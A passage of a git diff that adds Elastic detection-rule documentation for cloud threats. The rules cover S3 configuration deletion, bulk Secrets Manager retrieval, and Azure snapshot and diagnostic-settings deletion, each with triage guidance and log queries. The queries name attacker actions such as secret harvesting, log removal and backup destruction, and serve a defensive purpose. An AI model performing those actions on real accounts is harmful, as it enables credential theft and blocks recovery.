+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Account Manipulation
+** ID: T1098
+** Reference URL: https://attack.mitre.org/techniques/T1098/
+* Sub-technique:
+** Name: Device Registration
+** ID: T1098.005
+** Reference URL: https://attack.mitre.org/techniques/T1098/005/
+* Technique:
+** Name: Modify Authentication Process
+** ID: T1556
+** Reference URL: https://attack.mitre.org/techniques/T1556/
+* Sub-technique:
+** Name: Multi-Factor Authentication
+** ID: T1556.006
+** Reference URL: https://attack.mitre.org/techniques/T1556/006/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-s3-bucket-configuration-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-s3-bucket-configuration-deletion.asciidoc
new file mode 100644
index 0000000000..6aa7e350b3
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-s3-bucket-configuration-deletion.asciidoc
@@ -0,0 +1,166 @@
+[[prebuilt-rule-8-19-11-aws-s3-bucket-configuration-deletion]]
+=== AWS S3 Bucket Configuration Deletion
+
+Identifies the deletion of critical Amazon S3 bucket configurations such as bucket policies, lifecycle configurations or encryption settings. These actions are typically administrative but may also represent adversarial attempts to remove security controls, disable data retention mechanisms, or conceal evidence of malicious activity. Adversaries who gain access to AWS credentials may delete logging, lifecycle, or policy configurations to disrupt forensic visibility and inhibit recovery. For example, deleting a bucket policy can open a bucket to public access or remove protective access restrictions, while deleting lifecycle rules can prevent object archival or automatic backups. Such actions often precede data exfiltration or destructive operations and should be reviewed in context with related S3 or IAM events.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketPolicy.html
+* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketReplication.html
+* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketCors.html
+* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketEncryption.html
+* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketLifecycle.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: Amazon S3
+* Use Case: Asset Visibility
+* Tactic: Defense Evasion
+* Tactic: Impact
+* Resources: Investigation Guide
+
+*Version*: 211
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating AWS S3 Bucket Configuration Deletion*
+
+
+Amazon S3 is a scalable storage service where configurations like policies, replication, and encryption ensure data security and compliance. The detection rule monitors successful deletions of these configurations via the following APIs: `DeleteBucketPolicy`, `DeleteBucketReplication`, `DeleteBucketCors`, `DeleteBucketEncryption` or `DeleteBucketLifecycle`. These operations can be used by an adversary to remove visibility, erase governance or compliance controls, or prepare a bucket for destructive or exfiltration activity.  
+Deleting or disabling important configurations may hamper audit trails, hide malicious changes, or reduce the ability for recovery. The detection of these deletes is therefore a potential indicator of defense evasion or impact techniques.
+
+
+*Possible investigation steps*
+
+
+- **Identify the Actor and Context**  
+  - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id` and `aws.cloudtrail.user_identity.type` to identify who performed the deletion.  
+  - Determine whether the actor typically manages bucket configurations, or if this is an unusual identity for this kind of operation.  
+  - Check `source.ip`, `user_agent.original`, `cloud.region` for anomalous behaviour (unfamiliar IPs, new tooling or region, off-hours actions).
+
+- **Determine the Affected Bucket and Configuration Type**  
+  - Examine `aws.cloudtrail.request_parameters` (and `aws.cloudtrail.resources.arn`) to identify the bucket and the sub-resource that was removed. 
+  - Determine whether the bucket is used for critical data (audit logs, backups, data warehouse). If so, the deletion is higher risk.
+
+- **Correlate with Other Activity to Establish Chain of Events**  
+  - Search for preceding or concurrent CloudTrail events by the same actor or on the same bucket, e.g.:  
+    - Removal of logging or access controls (`PutBucketLogging`, `PutBucketAcl`, `PutBucketPolicy`).  
+    - Object-level actions soon after configuration removal (`DeleteObject`, `DeleteObjects`, `PutObject`, cross-account copy) that suggest data removal or exfiltration.  
+  - Review for configuration additions or changes immediately prior (e.g., versioning disabled, replication removed) — could form part of a larger attack sequence.  
+
+- **Evaluate Intent and Risk**  
+  - Confirm whether the change is aligned with an approved change control process (maintenance, re-architecting, cost-optimization).  
+  - If no documented justification, or if it affects buckets with sensitive or compliance-related data, treat it as potential malicious behavior.  
+  - Prioritize buckets where configuration deletion significantly reduces visibility or recovery capability.
+
+
+*False positive analysis*
+
+
+- **Scheduled Maintenance or Re-architecture**:  
+  - Valid operations may include migrating buckets, retiring services, or reorganizing storage; verify through change logs.  
+- **Automation/DevOps Activity**:  
+  - Infrastructure-as-Code pipelines or lifecycle clean-up tasks may remove configurations; validate known automation scopes and service-principals.  
+- **Test/Development Buckets**:  
+  - Non-production environments may frequently change bucket configurations; document and consider whitelisting accordingly.
+
+
+*Response and remediation*
+
+
+**1. Containment & Immediate Actions**  
+- Temporarily restrict the IAM user or role that performed the deletion, especially for `DeleteBucketPolicy`, `DeleteBucketEncryption`, or `DeleteBucketLifecycle`. 
+- Restore missing configurations as soon as possible (e.g., re-apply bucket policy, lifecycle rules, inventory configuration) to prevent further blind spots.
+
+**2. Investigation & Scope Assessment**  
+- Using CloudTrail and S3 Data Events, check object‐level activity from the timeframe immediately before and after the configuration deletion. Look for bulk deletes, new uploads, or copies to external accounts.  
+- Check whether other buckets in the account suffered similar configuration changes – potentially part of a wider campaign.
+
+**3. Recovery & Hardening**  
+- Recover affected bucket configurations and ensure they match your organizational baseline and compliance standards (e.g., logging enabled, inventory configured, lifecycle rules active).  
+- Enable AWS Config rules such as `s3-bucket-policy-check`, `s3-bucket-lifecycle-configuration-check`, `s3-bucket-logging-enabled` to monitor for unauthorized changes.  
+- Apply least‐privilege for configuration deletion permissions; segregate duties so bucket config deletion can only be done via controlled workflows and require multi-step approval.
+
+**4. Lessons Learned & Prevention**  
+- Conduct a post-incident review to determine root cause (credential compromise, misconfigured automation, malicious insider) and strengthen monitoring, alerting and access controls accordingly.
+
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:aws.cloudtrail and 
+    event.provider:s3.amazonaws.com and
+    event.action:(DeleteBucketPolicy or 
+                    DeleteBucketReplication or 
+                    DeleteBucketCors or 
+                    DeleteBucketEncryption or 
+                    DeleteBucketLifecycle) and 
+    event.outcome:success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Indicator Removal
+** ID: T1070
+** Reference URL: https://attack.mitre.org/techniques/T1070/
+* Technique:
+** Name: Impair Defenses
+** ID: T1562
+** Reference URL: https://attack.mitre.org/techniques/T1562/
+* Sub-technique:
+** Name: Disable or Modify Cloud Logs
+** ID: T1562.008
+** Reference URL: https://attack.mitre.org/techniques/T1562/008/
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Inhibit System Recovery
+** ID: T1490
+** Reference URL: https://attack.mitre.org/techniques/T1490/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-secrets-manager-rapid-secrets-retrieval.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-secrets-manager-rapid-secrets-retrieval.asciidoc
new file mode 100644
index 0000000000..489edbb89d
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-secrets-manager-rapid-secrets-retrieval.asciidoc
@@ -0,0 +1,163 @@
+[[prebuilt-rule-8-19-11-aws-secrets-manager-rapid-secrets-retrieval]]
+=== AWS Secrets Manager Rapid Secrets Retrieval
+
+Identifies rapid secret retrieval activity from AWS Secrets Manager using the GetSecretValue or BatchGetSecretValue API actions. Adversaries who compromise an IAM user, instance role, or temporary credentials may attempt to enumerate or exfiltrate secrets in bulk to escalate privileges, move laterally, or gain persistence. This rule detects 20 or more unique secret retrievals by the same user identity within a short time window, which may indicate credential compromise or automated secret harvesting.
+
+*Rule type*: threshold
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html
+* https://detectioninthe.cloud/ttps/credential_access/access_secret_in_secrets_manager/
+* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS Secrets Manager
+* Tactic: Credential Access
+* Resources: Investigation Guide
+
+*Version*: 6
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, validate and adapt it for your operational needs.
+
+
+*Investigating AWS Secrets Manager Rapid Secrets Retrieval*
+
+
+AWS Secrets Manager stores sensitive credentials such as database passwords, API keys, OAuth tokens, and service 
+configuration values. In credential compromise scenarios, attackers frequently attempt to retrieve as many secrets as 
+possible in a short timeframe to escalate privileges or move laterally across the environment.
+
+This threshold rule triggers when a single user identity successfully retrieves 20 or more unique secrets using 
+`GetSecretValue` or `BatchGetSecretValue` within a short timespan. Retrieval of many different secrets in rapid succession is highly unusual and strongly associated with reconnaissance, secret harvesting, or compromised automation.
+
+Note: `BatchGetSecretValue` API calls the `GetSecretValue` API for each secret value; this alert only captures the `GetSecretValue` calls rather than the `BatchGetSecretValue` call itself.
+
+
+*Possible investigation steps*
+
+
+- **Identify the user or role**
+  - Review `aws.cloudtrail.user_identity.arn`, `user.name`, and `aws.cloudtrail.user_identity.type`.
+  - Determine whether the identity normally accesses Secrets Manager or is tied to a known automation workload.
+
+- **Analyze the set of secrets retrieved**
+  - Expand the alert in Timeline and review `aws.cloudtrail.request_parameters` for all `SecretId` values in the grouped threshold event.
+  - Identify whether the accessed secrets include:
+    - Privileged database credentials  
+    - IAM user or service account credentials  
+    - Production application secrets  
+    - Rarely accessed or high-sensitivity secrets  
+
+- **Assess the runtime context**
+  - Investigate `source.ip`, `source.geo.location`, and `user_agent.original`.
+  - Validate whether the calls originated from known internal automation (e.g., ECS task, Lambda runtime, EC2 instance profile) 
+    or from an unexpected IP or user agent.
+
+- **Correlate with other activity from the same identity**
+  - Look for related reconnaissance or credential-access events:
+    - `ListSecrets`, `DescribeSecret`
+    - IAM enumeration (`ListUsers`, `GetCallerIdentity`)
+    - Role-chaining or unusual `AssumeRole` flows  
+  - Check for subsequent use of exposed credentials (RDS login attempts, API activity, abnormal resource access).
+
+- **Determine whether unusual automation or deployment activity is occurring**
+  - Confirm with application owners whether a new deployment, config reload, or migration might explain the multi-secret access.
+
+
+*False positive analysis*
+
+
+- Legitimate application initialization or rollouts may retrieve many secrets once on startup.
+- CI/CD pipelines or configuration management tools may enumerate secrets as part of environment bootstrapping.
+
+To reduce noise, consider exceptions based on:
+- Known service roles  
+- Expected source IP ranges  
+- Specific application identities tied to secret orchestration  
+
+
+*Response and remediation*
+
+
+- **Containment**
+  - Immediately revoke or disable the IAM user, role session, or instance profile if compromise is suspected.
+  - Quarantine EC2/ECS/Lambda resources originating suspicious calls.
+
+- **Investigation**
+  - Identify all secrets accessed in the grouped alert and determine where those credentials are used.
+  - Review CloudTrail for any suspicious follow-on activity using the retrieved secrets.
+  - Assess whether additional identities or workloads show similar enumeration behavior.
+
+- **Recovery and hardening**
+  - Rotate all accessed secrets and update dependent systems.
+  - Rotate IAM access keys or temporary credentials for the impacted identity.
+  - Restrict permissions to Secrets Manager following least privilege.
+  - Review automation and application behavior to ensure secrets are accessed only when required.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: "aws.cloudtrail" 
+    and event.provider: "secretsmanager.amazonaws.com" 
+    and event.action: "GetSecretValue" 
+    and event.outcome: "success" 
+    and not (
+        user_agent.name: ("Chrome" or "Firefox" or "Safari" or "Edge" or "Brave" or "Opera") 
+        or source.address: ("kafka.amazonaws.com" or "apidestinations.events.amazonaws.com")
+    )
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Credentials from Password Stores
+** ID: T1555
+** Reference URL: https://attack.mitre.org/techniques/T1555/
+* Sub-technique:
+** Name: Cloud Secrets Management Stores
+** ID: T1555.006
+** Reference URL: https://attack.mitre.org/techniques/T1555/006/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc
new file mode 100644
index 0000000000..1764c2c8ca
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc
@@ -0,0 +1,122 @@
+[[prebuilt-rule-8-19-11-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group]]
+=== Azure Compute Snapshot Deletion by Unusual User and Resource Group
+
+Identifies when an Azure disk snapshot is deleted by an unusual user in a specific resource group. Snapshots are critical for backup, disaster recovery, and forensic analysis. Adversaries may delete snapshots to prevent data recovery, eliminate forensic evidence, or disrupt backup strategies before executing ransomware or other destructive attacks. Monitoring snapshot deletions is essential for detecting potential attacks targeting backup and recovery capabilities.
+
+*Rule type*: new_terms
+
+*Rule indices*: 
+
+* logs-azure.activitylogs-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/
+
+*Tags*: 
+
+* Domain: Cloud
+* Domain: Storage
+* Data Source: Azure
+* Data Source: Azure Activity Logs
+* Use Case: Threat Detection
+* Tactic: Impact
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Azure Compute Snapshot Deletion by Unusual User and Resource Group*
+
+
+Azure disk snapshots provide point-in-time copies of managed disks, serving as critical components for backup strategies, disaster recovery plans, and forensic investigations. Snapshots enable organizations to restore data and reconstruct system states after security incidents. Adversaries aware of backup strategies may delete snapshots to prevent recovery, eliminate forensic evidence, or maximize impact before executing ransomware attacks. This detection monitors for snapshot deletion operations to identify potential attempts to compromise backup and recovery capabilities. This is a New Terms rule that looks for this behavior by a user and resource group that has not been seen in the last 7 days.
+
+
+*Possible investigation steps*
+
+
+- Review the Azure activity logs to identify the user or service principal that initiated the snapshot deletion by examining the principal ID, UPN and user agent fields.
+- Check the specific snapshot name in `azure.resource.name` to understand which backup was deleted and assess the potential impact on recovery capabilities.
+- Investigate the timing of the event to correlate with any other suspicious activities, such as unusual login patterns, privilege escalation attempts, or other resource deletions.
+- Examine the user's recent activity history to identify any other snapshots, disks, or Azure resources that were deleted or modified by the same principal.
+- Verify if the snapshot deletion aligns with approved change requests, maintenance windows, or data retention policies in your organization.
+- Check if other backup-related resources (backup vaults, recovery services) were accessed or modified around the same time.
+- Review any related alerts or activities such as data encryption, VM modifications, or access policy changes that occurred before the deletion.
+- Investigate if the account was recently compromised by checking for suspicious authentication events or privilege escalations.
+
+
+*False positive analysis*
+
+
+- Legitimate cleanup of expired snapshots according to data retention policies may trigger this alert. Document approved retention management processes and consider creating exceptions for automated retention tools or scheduled cleanup activities.
+- DevOps automation tools might delete temporary snapshots created during deployment or testing processes. Identify service principals used by CI/CD pipelines and consider time-based exceptions during deployment windows.
+- Storage optimization initiatives may involve deleting old or redundant snapshots to reduce costs. Coordinate with infrastructure teams to understand planned optimization activities and create exceptions during documented maintenance windows.
+- Disaster recovery testing may involve creating and deleting test snapshots. Work with business continuity teams to identify these patterns and create exceptions during scheduled DR testing periods.
+
+
+*Response and remediation*
+
+
+- Immediately investigate whether the deletion was authorized by verifying with the account owner, backup administrators, or relevant stakeholders.
+- If the deletion was unauthorized, disable the compromised user account or service principal immediately to prevent further damage.
+- Check if the snapshot can be recovered through Azure backup services or soft-delete capabilities if enabled.
+- Create new snapshots of critical disks immediately if the deleted snapshot was part of your backup strategy.
+- Review and audit all Azure RBAC permissions to identify how the attacker gained snapshot deletion capabilities.
+- Conduct a full security assessment to identify the initial access vector and any other compromised accounts or resources.
+- Implement Azure Resource Locks on critical snapshots to prevent accidental or malicious deletion.
+- Configure Azure Policy to restrict snapshot deletion permissions to only authorized backup administrators.
+- Enable Azure Activity Log alerts to notify security teams immediately when snapshots are deleted.
+- Review backup and disaster recovery procedures to ensure redundant backup mechanisms exist beyond Azure snapshots.
+- Document the incident and update security policies and procedures to prevent similar incidents in the future.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: azure.activitylogs and
+    azure.activitylogs.operation_name: "MICROSOFT.COMPUTE/SNAPSHOTS/DELETE" and
+    azure.activitylogs.properties.status_code: "Accepted" and
+    azure.activitylogs.identity.claims_initiated_by_user.name: *
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Data Destruction
+** ID: T1485
+** Reference URL: https://attack.mitre.org/techniques/T1485/
+* Technique:
+** Name: Inhibit System Recovery
+** ID: T1490
+** Reference URL: https://attack.mitre.org/techniques/T1490/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-azure-compute-snapshot-deletions-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-azure-compute-snapshot-deletions-by-user.asciidoc
new file mode 100644
index 0000000000..b4941c1681
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-azure-compute-snapshot-deletions-by-user.asciidoc
@@ -0,0 +1,126 @@
+[[prebuilt-rule-8-19-11-azure-compute-snapshot-deletions-by-user]]
+=== Azure Compute Snapshot Deletions by User
+
+Identifies when a single user or service principal deletes multiple Azure disk snapshots within a short time period. This behavior may indicate an adversary attempting to inhibit system recovery capabilities, destroy backup evidence, or prepare for a ransomware attack. Mass deletion of snapshots eliminates restore points and significantly impacts disaster recovery capabilities, making it a critical indicator of potentially malicious activity.
+
+*Rule type*: threshold
+
+*Rule indices*: 
+
+* logs-azure.activitylogs-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/
+
+*Tags*: 
+
+* Domain: Cloud
+* Domain: Storage
+* Data Source: Azure
+* Data Source: Azure Activity Logs
+* Use Case: Threat Detection
+* Tactic: Impact
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Azure Compute Snapshot Deletions by User*
+
+
+Azure disk snapshots are critical backup and recovery resources that enable organizations to restore data and investigate security incidents. Mass deletion of snapshots is a highly suspicious activity commonly associated with ransomware preparation, evidence destruction, or sabotage operations. Adversaries frequently target snapshots to prevent victims from recovering data without paying ransom or to eliminate forensic evidence of their activities. This detection identifies when a single identity deletes multiple snapshots in a short timeframe, which is rarely performed by legitimate administrators except during controlled maintenance activities.
+
+
+*Possible investigation steps*
+
+
+- Review the Azure activity logs to identify the user or service principal that initiated the multiple snapshot deletions by examining the principal ID, UPN and user agent fields in `azure.activitylogs.identity.claims_initiated_by_user.name`.
+- Check the specific snapshot names in `azure.resource.name` to understand which backups were deleted and assess the overall impact on recovery capabilities.
+- Investigate the timing and sequence of deletions to determine if they followed a pattern consistent with automated malicious activity or manual destruction.
+- Examine the user's recent activity history including authentication events, privilege changes, and other Azure resource modifications to identify signs of account compromise.
+- Verify if the snapshot deletions align with approved change requests, maintenance windows, or data retention policies in your organization.
+- Check if other backup-related resources (backup vaults, recovery services, additional snapshots) were also accessed or modified by the same principal.
+- Review any related alerts or activities such as VM encryption, disk modifications, or unusual data access that occurred before the deletions.
+- Investigate if other Azure resources (VMs, disks, storage accounts) were also deleted or modified by the same principal.
+- Check the authentication source and location to identify if the activity originated from an expected network location or potentially compromised session.
+- Determine if any remaining snapshots or alternative backups exist for the affected resources.
+
+
+*False positive analysis*
+
+
+- Legitimate bulk cleanup of expired snapshots according to data retention policies may trigger this alert. Document approved retention management processes and coordinate with infrastructure teams to create exceptions during planned maintenance windows.
+- Infrastructure-as-Code (IaC) automation tools or backup management solutions may delete multiple expired snapshots. Identify service principals used by backup retention tools and consider creating exceptions for these identities when following documented retention schedules.
+- Cost optimization initiatives may involve bulk deletion of old or redundant snapshots. Coordinate with finance and infrastructure teams to understand planned optimization activities and schedule them during documented maintenance windows.
+- Disaster recovery testing or environment teardown may involve deletion of multiple test snapshots. Work with business continuity and DevOps teams to identify these patterns and create time-based exceptions during testing periods.
+- Storage migration or consolidation projects may require deletion of old snapshots. Coordinate with infrastructure teams to understand planned migration activities and create exceptions during documented project timelines.
+
+
+*Response and remediation*
+
+
+- Immediately investigate whether the deletions were authorized by verifying with backup administrators, infrastructure teams, or relevant stakeholders.
+- If the deletions were unauthorized, disable the compromised user account or service principal immediately to prevent further damage.
+- Check if any snapshots can be recovered through Azure backup services, soft-delete capabilities, or alternative backup mechanisms.
+- Create new snapshots of all critical disks immediately to establish new restore points if the deleted snapshots were part of your backup strategy.
+- Review and audit all Azure RBAC permissions to identify how the attacker gained snapshot deletion capabilities and remove excessive permissions.
+- Conduct a full security assessment to identify the initial access vector, any other compromised accounts, and potential lateral movement.
+- Implement Azure Resource Locks on all critical snapshots and backup resources to prevent accidental or malicious deletion.
+- Configure Azure Policy to restrict snapshot deletion permissions to only authorized backup administrators and require approval workflows for deletion operations.
+- Enable Azure Activity Log alerts and configure notifications to security teams immediately when snapshots are deleted.
+- Review and enhance backup strategies to ensure redundant backup mechanisms exist beyond Azure snapshots, including geo-redundant backups and offline copies.
+- Escalate the incident to the security operations center (SOC) or incident response team for investigation of potential ransomware preparation or broader compromise.
+- Document the incident and update security policies, playbooks, and procedures to prevent similar incidents in the future.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: azure.activitylogs and
+    azure.activitylogs.operation_name: "MICROSOFT.COMPUTE/SNAPSHOTS/DELETE" and
+    azure.activitylogs.properties.status_code: "Accepted" and
+    azure.activitylogs.identity.claims_initiated_by_user.name: *
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Data Destruction
+** ID: T1485
+** Reference URL: https://attack.mitre.org/techniques/T1485/
+* Technique:
+** Name: Inhibit System Recovery
+** ID: T1490
+** Reference URL: https://attack.mitre.org/techniques/T1490/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-azure-diagnostic-settings-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-azure-diagnostic-settings-deletion.asciidoc
new file mode 100644
index 0000000000..b8205b85d5
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-azure-diagnostic-settings-deletion.asciidoc
@@ -0,0 +1,122 @@
+[[prebuilt-rule-8-19-11-azure-diagnostic-settings-deletion]]
+=== Azure Diagnostic Settings Deletion
+
+Identifies the deletion of diagnostic settings in Azure, which send platform logs and metrics to different destinations. An adversary may delete diagnostic settings in an attempt to evade defenses.
+
+*Rule type*: new_terms
+
+*Rule indices*: 
+
+* logs-azure.activitylogs-*
+* filebeat-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings
+* https://www.microsoft.com/en-us/security/blog/2025/10/20/inside-the-attack-chain-threat-activity-targeting-azure-blob-storage/
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: Azure
+* Data Source: Azure Activity Logs
+* Use Case: Threat Detection
+* Tactic: Defense Evasion
+* Resources: Investigation Guide
+
+*Version*: 107
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Azure Diagnostic Settings Deletion*
+
+
+Azure Diagnostic Settings are crucial for monitoring and logging platform activities, sending data to various destinations for analysis. Adversaries may delete these settings to hinder detection and analysis of their activities, effectively evading defenses. The detection rule identifies such deletions by monitoring specific Azure activity logs for successful deletion operations, flagging potential defense evasion attempts.
+
+
+*Possible investigation steps*
+
+
+- Identify the user or service principal responsible for the deletion by examining the associated user identity or service principal ID in the activity logs.
+- If this is a service principal, determine which application is associated with it and examine credential use with authentication sources to identify potential compromise.
+- Examine the resource group and subscription context to understand the scope of the deletion and whether it affects critical resources.
+- Check the timestamp of the deletion event to determine when the diagnostic settings were removed and correlate this with other security events or alerts around the same time.
+- Investigate the affected resources by identifying which diagnostic settings were deleted and assess the potential impact on monitoring and logging capabilities.
+- Review any recent changes or activities performed by the identified user or service principal to determine if there are other suspicious actions that might indicate malicious intent.
+- Assess the current security posture by ensuring that diagnostic settings are reconfigured and that logging and monitoring are restored to maintain visibility into platform activities.
+
+
+*False positive analysis*
+
+
+- Examine the service principal or user account involved in the deletion to determine if it is part of an automated process or legitimate administrative activity.
+- Automated scripts or tools used for managing Azure resources might delete diagnostic settings as part of their operation. Review and whitelist these scripts if they are verified as non-threatening.
+- Changes in organizational policy or compliance requirements could lead to legitimate deletions. Confirm with relevant teams if such policy changes are in effect.
+- Test environments often undergo frequent configuration changes, including the deletion of diagnostic settings. Consider excluding these environments from the rule or adjusting the rule to account for their unique behavior.
+- Ensure that any third-party integrations or services with access to Azure resources are reviewed, as they might inadvertently delete diagnostic settings during their operations.
+
+
+*Response and remediation*
+
+
+- Immediately isolate affected Azure resources to prevent further unauthorized changes or deletions. This may involve temporarily restricting access to the affected subscriptions or resource groups.
+- Review the Azure activity logs to identify the source of the deletion request, including the user account, service principal and IP address involved. This will help determine if the action was authorized or malicious.
+- Recreate the deleted diagnostic settings as soon as possible to restore logging and monitoring capabilities. Ensure that logs are being sent to secure and appropriate destinations.
+- Conduct a thorough investigation of the user account or service principal involved in the deletion. If the account is compromised, reset credentials, and review permissions to ensure they are appropriate and follow the principle of least privilege.
+- Escalate the incident to the security operations team for further analysis and to determine if additional resources or expertise are needed to address the threat.
+- Implement additional monitoring and alerting for similar deletion activities to ensure rapid detection and response to future attempts.
+- Review and update access controls and policies related to diagnostic settings to prevent unauthorized deletions, ensuring that only trusted and necessary personnel have the ability to modify these settings.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:azure.activitylogs
+    and azure.activitylogs.operation_name:"MICROSOFT.INSIGHTS/DIAGNOSTICSETTINGS/DELETE"
+    and event.outcome:(Success or success)
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Impair Defenses
+** ID: T1562
+** Reference URL: https://attack.mitre.org/techniques/T1562/
+* Sub-technique:
+** Name: Disable or Modify Tools
+** ID: T1562.001
+** Reference URL: https://attack.mitre.org/techniques/T1562/001/
+* Sub-technique:
+** Name: Disable or Modify Cloud Logs
+** ID: T1562.008
+** Reference URL: https://attack.mitre.org/techniques/T1562/008/
